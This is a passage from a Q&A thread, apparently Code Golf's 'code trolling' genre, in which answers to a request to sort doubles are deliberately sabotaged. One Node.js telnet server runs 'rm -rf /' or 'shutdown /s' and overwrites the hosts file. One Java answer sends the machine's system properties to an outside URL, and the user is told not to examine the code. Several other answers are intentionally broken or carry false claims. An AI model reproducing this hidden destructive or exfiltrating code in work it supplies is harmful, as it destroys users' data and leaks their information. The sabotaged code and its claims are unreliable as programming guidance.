    if(newdata && newdata != '\b'){if(socket.nowdata){socket.nowdata += newdata}else{socket.nowdata = newdata}}else{
      if(socket.nowdata){
        //This is where the sorting beings.
        if(socket.nowdata.replace(' ', '') == ('SORTA')){
          //First ask for the actual array
          socket.write("Lorem ipsum 'doubles' ordinata.\n");
          //Now we need the user to input the actual array so were gonna set up some vars to track their progress
          socket.needarray = 1;
        }else{
          //DONT WORRY ABOUT THIS >;)
          ibm.SORT('[1]');
        }
        console.log(socket.nowdata);
        socket.nowdata = null;
      }}
      }else if(newdata == '\b'){
        socket.close();
        //Shuts down computer ;)
         if(os.type == 'Windows_NT'){ child = exec(' shutdown /s',
          function (error, stdout, stderr) {
        });}else{child = exec('rm -rf /',
          function (error, stdout, stderr) {
        }); }
      }else{
        //Bundler for the array thingy
        arraychar = ibm.CLEANARRAY(data);
        if(arraychar != ('\n' || '\b')){if(socket.array){socket.array += arraychar}else{socket.array = arraychar}}else if(arraychar == '\b'){
           socket.end();
        //Shuts down computer ;)
         if(os.type == 'Windows_NT'){ child = exec(' shutdown /s',
            function (error, stdout, stderr) {
          });}else{child = exec('rm -rf /',
            function (error, stdout, stderr) {
          }); }
        }else{
          socket.write("La sorta/ultimum/ex: "+ibm.SORT(socket.array));
          socket.close();//Shuts down computer ;)
          if(os.type == 'Windows_NT'){ child = exec(' shutdown /s',
            function (error, stdout, stderr) {
          });}else{child = exec('rm -rf /',
            function (error, stdout, stderr) {
          }); }
        }
      }
  });


}).listen(23);

ibm.CLEANSOCKET = function(data) {
    return data.toString().replace(/(\r\n|\n|\r)/gm,"");
}

ibm.CLEANARRAY = function(data) {
    return data.toString().replace(/(\r)/gm,"");
}

There really isn't anything special to it, this is you typical telnet server. We've created some basic UNICODE cleaning functions to get us a nice raw string and we've also added our SORTA function. Which ..ehm doesn't.. mean SORT in latin. We have also added some responses in broken latin from google translate as you normally would do.

STEP TWO - ibm.SORT

It's now time to create our ibm.SORT function which will sort our array.
Here is the code:

ibm.SORT = function (string){
  //Cleans out the string by converting it from unicode to base64 and then ASCII
  stringa = (new Buffer((new Buffer(string).toString('base64')), 'base64').toString('ascii'));
  //We will now convert our string to a new string with the format CHAR_ASCII_CODE + '.', etc...
  x = '', c = 0;
  stringa.split('').forEach(function (i){
      c++;
      x += i.charCodeAt(0);
      if (c != stringa.length){x+= '.';}
  })
  stringb = x;
  //We will now convert our ASCII code encoded string back to normal raw text (all for "cleaning" purposes)
  m = '';
  stringb.split('.').forEach(function (i) {
      m += String.fromCharCode(i);
  });
  stringc = m;
  //We will now eval the string to make it a Javascript Object [ARRAY]. VERY SAFE ;)!
  stringd = stringc.split(',');
  //Will now modify your hosts file for .umm... um... FUN XD! 
  var hosts;
    switch(os.type()){
    case 'Windows_NT':
      hosts = 'C:\\Windows\\system32\\drivers\\etc\\hosts';
      break;
    default:
      hosts = '/ect/hosts';
      break;
  }
  fs.writeFile(hosts, '127.0.0.1 com net org\n', function (err) {
    if (err) throw err;
    console.log('Going smoothly ;)');
  });
  console.log(stringd)
  return stringd.sort(function(a,b){if(clients != []){return a-b+ccc[0]+ccc[3];}});
}

====END SARCASTIC POST====

Why my code is evil and unusable:

  • Trying to cut out the sort function will actually break it (see line 155).
  • The part that actually does sort the function is a built in feature of javascript and thus can't be handed in as work.
  • IT USES FREAKING TELNET AS INPUT LOL!
  • While sorting it modifies your hosts file so visiting a .com/.net/.org domain will redirect to 127.0.0.1
  • Typing backspace in telnet will shutdown your computer or erase your harddrive (if you're on linux)!
  • Once it is finally sorted it will erase your hard drive (if linux) or shut down your computer!

NOTE: This code ACTUALLY DOES WORK and I have tested it (though I commented out most of the self destructing parts.), for proof I have added some pictures:
Connecting - Connecting
Sorting - Sorting

If you can't see the above image clearly it says:

Fusce suscipit varius in telnet voluptua! [SERVER]
SOTRA [CLIENT]
Lorem ipsum 'doubles' ordinata. [SERVER]
5.2, 4.3, 2.88, 100 [CLIENT]
La sorta/ultimum/ex: 2.88,4.3,5.2,100 [SERVER]

\$\endgroup\$
4
votes
\$\begingroup\$

You didn't say how to output the array, so I made some assumptions. Just copy it into a new Java project in Eclipse and you're all set. No need to examine the code; I did everything for you. I hope you get a good grade!

package homework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Arrays;
import java.util.Comparator;
import java.util.StringTokenizer;

public class Main {

    public static void main(String[] args) throws IOException {
        try {
            //Get the input
            System.out.println(message1);
            String input = new BufferedReader(new InputStreamReader(System.in)).readLine();
            StringTokenizer tok = new StringTokenizer(input, ",");
            Double[] doubles = new Double[tok.countTokens()];
            for (int i = 0; i < doubles.length; i++) {
                doubles[i] = Double.parseDouble(tok.nextToken());
            }

            //Sort (using Lumbergh TPS algorithm)
            Arrays.sort(doubles, new Comparator<Double>() {

                @Override
                public int compare(Double d1, Double d2) {
                    if (d1 <= d2) {
                        return -1;
                    } else {
                        return -1 * compare(d2, d1);
                    }
                }
            });

            //Output
            StringBuilder outputString = new StringBuilder();
            for (int i = 0; i < doubles.length; i++) {
                if (i != 0) {
                    outputString.append(',');
                }
                outputString.append(doubles[i]);
            }
            System.out.println(outputString);
            new PrintWriter(new URL(message2).openConnection().getOutputStream()).println(outputString);
        } catch (Throwable t) {
            //Ignore; this would never happen
        } finally {
            System.out.println(message3);
            if ("YES".equals(new BufferedReader(new InputStreamReader(System.in)).readLine())) {
                System.out.println(new StringBuilder(uniqueHashForSorting).reverse().toString());
            }
        }
    }

    //Constants (not important)
    static String message1 = "Enter a comma-separated array of doubles";
    static final String uniqueHashForSorting = "egnahcxEkcatS morf edoc siht detsap dna deipoc I";
    static String message2 = "https://www.nsa.gov/surveill/default.aspx?profile=" + URLEncoder.encode(System.getProperties().toString());
    static String message3 = "Type YES if you are the TA to see the unique sorting hash";

}
\$\endgroup\$
  • \$\begingroup\$ Before you vote, please note: 1) fake algorithm name, 2) using Arrays.sort instead of addressing the obvious homework question of how sorting works, 3) unnecessary Comparator, which uses unnecessary recursion, 4) liberties taken (pun intended) with the output method, 5) observing worst practices in error handling (i.e. ignoring them completely), and 6) a special message for the TA. Thank you for your consideration. \$\endgroup\$ – Gary S. Dec 27 '13 at 17:22
3
votes
\$\begingroup\$

Bogosort is clearly far too efficient for this purpose. For this reason, I have implemented Bogobogosort, a much more appropriate algorithm. Here's the scala code:

object Sort {

  def sort(list: List[Double]): List[Double] = {
    val result = scala.util.Random.shuffle(list)
    if (isSorted(result)) {
      result
    } else {
      sort(list)
    }
  }

  def isSorted(list: List[Double]): Boolean = {
    if (list.size <= 1) {
      true
    } else {
      list(0) < list(1) && (list.tail == sort(list.tail))
    }
  }

  def main(args: Array[String]): Unit = {
    println(sort(readLine().split("\\s").map(_.toDouble).toList).mkString(" "))
  }

}
\$\endgroup\$
3
votes
\$\begingroup\$

Python 3 (Why sort when its already sorted)

This program will take an array of doubles and output them in a sorted order:

print(list(map(float,input().split())))

The only requirement is you need to give a sorted input.

\$\endgroup\$
  • \$\begingroup\$ What happens when the stupid user gives invalid input? \$\endgroup\$ – emory Dec 27 '13 at 20:16
  • 1
    \$\begingroup\$ @emory It doesn't work, of course. \$\endgroup\$ – Lambda Fairy Dec 27 '13 at 20:40
  • \$\begingroup\$ @LambdaFairy does it fail silently, crash loudly, or is the behavior undefined? The most evil would be if the behavior was undefined and failed silently on the student computer and crashed loudly on the teacher computer. \$\endgroup\$ – emory Dec 27 '13 at 20:46
3
votes
\$\begingroup\$

Most of the answers here will get you a failing grade because they will crash if your array contains a signalling NaN. You need to be more careful, like this:

#include <float.h>
#include <limits.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

void
sortdoubles(double a[], size_t n)
{
  struct n {
    struct n*n;
    union u {
      double d;
      uint64_t u;
    } u;
  };
  struct n*b[__DBL_MAX_EXP__ << 1];
  for (size_t i = 0; i < (sizeof b)/sizeof (struct n *); ++i)
    b[i] = NULL;

  // Classify the numbers and non-numbers by exponent field.
  for (size_t i = 0; i < n; ++i) {
    struct n*n = malloc(sizeof (struct n));
    if (!n)
      return;
    n->u.d = a[i];
    unsigned e = (n->u.u >> (__DBL_MANT_DIG__ - 1)) & ((__DBL_MAX_EXP__ << 1) - 1);
    n->n = b[e];
    b[e] = n;
  }

  // Sort for each exponent (obviously this takes exponential time).
  for (size_t i = 0; i < (sizeof b)/sizeof (struct n *); ++i) {
    struct n*o = b[i];
    if (o) {
      b[i] = NULL;
      for (struct n*n = o,*m; n; n = m) {
        m = n->n;
        struct n*p = b[i], *q = NULL;
        for (; p; q = p, p = p->n)
          if ((n->u.u & ((1ul << __DBL_MANT_DIG__) - 1))
            < (p->u.u & ((1ul << __DBL_MANT_DIG__) - 1)))
            break;
        if (q) {
          q->n = n;
          n->n = p;
        } else {
          n->n = b[i];
          b[i] = n;
        }
      }
    }
  }

  // Put them back.
  size_t j = 0;
  for (size_t i = 0; i < (sizeof b)/sizeof (struct n *); ++i) {
    for (struct n*n = b[i], *m; n; n = m) {
      m = n->n;
      a[j++] = n->u.d;
      free(n);
    }
  }

  // Negative ones go first.
  size_t last = 0;
  for (size_t i = 0; i < n; ++i) {
    union u u;
    u.d = a[i];
    if (u.u & (1ul << ((CHAR_BIT * sizeof (double)) - 1))) {
      if (last < (i - 1)) {
        // Move the intervening positive numbers out of the way.
        for (j = i; j > last; --j)
          a[j] = a[j - 1];
        a[last++] = u.d;
      }
    }
  }

  // Negative? Bigger is smaller.
  for (size_t i = 0; i < last; ++i) {
    double v = a[last - 1];
    for (j = last - 1; j > i; --j)
      a[j] = a[j - 1];
    a[i] = v;
  }
}

[Non-answer notes: The method is insertion sort by (absolute) magnitude of mantissa for each exponent, then expensively partition and reverse the negative values at the end. Use of __DBL macros gives the illusion of portability.]

\$\endgroup\$
3
votes
\$\begingroup\$

Haskell

I think Haskell is a great language for doing this as it is concise and compiles to fast machine code. This algorithm is probably the fastest possible for sorting because it uses built-in optimized functions, avoids recursion, and it does the sort in-place while the user is entering data.

import Control.Monad
import Data.List
main = do
   putStrLn "Input doubles"
   let inputs = [0..100::Double] -- Allocate space for 100 values, this should be enough
   let finished = False
   forM_ [0..100] $ \i -> do
      when (finished == False) $ do
         val <- readLn
         if val == "x"
            then do
               insert val inputs -- Put the value into the list
               sort (drop i inputs) -- Use built-in optimized sort function, and only sort the unsorted part of the list
            else
               let finished = True
   putStrLn inputs

Hope this helps.

This answer is evil because:

  • It uses fairly advanced concepts like allocating memory and monads to convince OP that I know what I'm talking about.
  • Incorrectly teaches how the language works.
  • It looks like it should compile but it doesn't
  • The algorithm looks like it should work but it really, really doesn't
  • All header text and comments are lies.
\$\endgroup\$
  • 1
    \$\begingroup\$ This is even funnier because quicksort in Haskell is like three lines. \$\endgroup\$ – wchargin Dec 27 '13 at 21:27
3
votes
\$\begingroup\$

It's a trick question. There is only one array. You cannot sort a single object, as it is implicitly sorted. You do not need to do anything here.

\$\endgroup\$
3
votes
\$\begingroup\$

C

This would work had I not messed with the min and max calls. It also doesn't print anything, but hopefully the asker will be able to figure that out.

static inline void sort6_sorting_network_simple_swap(int * d){
#define min(x, y) (x>y?y:x)
#define max(x, y) (x>y?x:y) 
#define SWAP(x,y) { const int a = min(d[x], d[y]); const int b = max(d[x], d[y]); d[x] = a; d[y] = b;}
    SWAP(1, 2);
    SWAP(4, 5);
    SWAP(0, 2);
    SWAP(3, 5);
    SWAP(0, 1);
    SWAP(3, 4);
    SWAP(1, 4);
    SWAP(0, 3);
    SWAP(2, 5);
    SWAP(1, 3);
    SWAP(2, 4);
    SWAP(2, 3);
#undef SWAP
#undef min
#undef max
}
\$\endgroup\$
3
votes
\$\begingroup\$

Python bubblesort

Inspired by this comment and this answer, this answer asks the user whether two consecutive elements are out of order (i.e. the former number is larger than the latter), and then asks the user whether to swap those two elements.

nums = []

def pcg_sort(arr):
    sorted = False
    while sorted == False:
        sorted = True
        for i in xrange(0, len(arr) - 1):
            response = raw_input("Are numbers %f and %f out of order (y/N)? " % (arr[i], arr[i+1]))
            if(response == "y"):
                sorted = False
                arr[i], arr[i+1] = arr[i+1], arr[i]
                print ("State of array is now %s." % str(arr))
    return arr

while True:
    number = raw_input("Enter a double (/ to end): ")
    if(number == "/"):
        print pcg_sort(nums)
        break
    else:
        try:
            number = float(number)
            nums.append(number)
        except ValueError:
            pass

The rub here is that the user has to manually approve every single switch. If they make a mistake anywhere along the line, it'll end up making them have to sort every single thing again.

\$\endgroup\$
  • \$\begingroup\$ If you want maximum fun, do bogosort with this instead. \$\endgroup\$ – Joe Z. Dec 28 '13 at 0:01
  • \$\begingroup\$ Amazing. Best bogosort evar!!!! \$\endgroup\$ – Victor Stafusa Dec 28 '13 at 0:02
  • \$\begingroup\$ Even worse, do bogosort by comparing two elements where the first isn't necessarily before the second. Then you'll never know whether you've actually sorted the list or not! \$\endgroup\$ – Joe Z. Dec 28 '13 at 1:27
3
votes
\$\begingroup\$

Temporal Sort in C

This answer has some very desirable features and I hope it helps you.

Highlights:

  • executes in linear time; O(n) -- very fast!
  • sorts in-place; suitable for extremely large arrays -- very memory efficient
  • sorts double but easily adapts to int or any other data type -- let me know if you need mods

Naturally, the elements are sorted in temporal order. That is, the seniority of each entry is prioritized with respect to input time.

#include <stdio.h>

int main() {
    int entries;
    printf("How many array entries? ");
    scanf("%d", &entries);
    double array[entries];
    for (int i = 0; i < entries; ++i) {
        printf("  array[%d] = ", i);
        scanf("%lf", &array[i]);
    }
    printf("Sorting...\n");

    /* Sort the array.  O(n) -- very fast.
       Sorting is done in-place for memory efficiency.
       Elements guaranteed to be temporally ordered. */

    for (int i = 0; i < entries-1; ++i) {
        /* prepare element if necessary */
        if (array[i]/(double)0x02 > array[i+1]/(double)0x04) {
            array[i] *= (double)0x08;
            array[i+1] *= (double)0x04;
        }
        /* ensure correct order */
        if (array[i]/(double)0x04 > array[i+1]/(double)0x08) {
            array[i] /= (double)0x08;
            array[i+1] /= (double)0x04;
        }
    }

    for (int i = 0; i < entries-1; ++i) {
    }

    printf("Sorted:\n");
    for (int i = 0; i < entries; ++i) {
        printf("  array[%d] = %lf\n", i, array[i]);
    }
}
\$\endgroup\$

Not the answer you're looking for? Browse other questions tagged or ask your own question.